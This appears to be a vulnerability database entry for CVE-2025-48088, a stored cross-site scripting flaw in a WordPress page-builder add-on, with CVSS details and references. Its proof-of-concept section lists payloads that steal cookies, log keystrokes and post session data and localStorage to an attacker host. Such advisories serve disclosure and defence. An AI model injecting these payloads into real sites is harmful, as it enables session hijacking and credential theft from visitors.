CVE-2025-48088

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm_Force Ultimate Addons for WPBakery Page Builder ultimate_vc_addons allows Stored XSS.This issue affects Ultimate Addons for WPBakery Page Builder: from n/a through < 3.21.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Ultimate Addons for WPBakery Page Builder < 3.21.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-48088 Stored XSS PoC -->
<!-- Upload this payload via plugin's input field -->

<!-- Basic script tag injection -->
<img src=x onerror="alert(document.cookie)">

<!-- Cookie stealing payload -->
<script>
  fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

<!-- Keylogger payload -->
<script>
  document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/log?k=' + e.key);
  });
</script>

<!-- Session hijacking payload -->
<img src=x onerror="
  fetch('https://attacker.com/api/session', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      localStorage: localStorage,
      url: window.location.href
    })
  });
">

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48088
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48088
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48088/
[4] VulDB https://vuldb.com/cve/CVE-2025-48088
[5] https://patchstack.com/database/Wordpress/Plugin/ultimate_vc_addons/vulnerability/wordpress-ultimate-addons-for-wpbakery-page-builder-plugin-3-21-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-48088", "sourceIdentifier": "[email protected]", "published": "2025-10-27T03:15:50.727", "lastModified": "2026-04-23T15:30:47.130", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm_Force Ultimate Addons for WPBakery Page Builder ultimate_vc_addons allows Stored XSS.This issue affects Ultimate Addons for WPBakery Page Builder: from n/a through < 3.21.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate_vc_addons/vulnerability/wordpress-ultimate-addons-for-wpbakery-page-builder-plugin-3-21-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}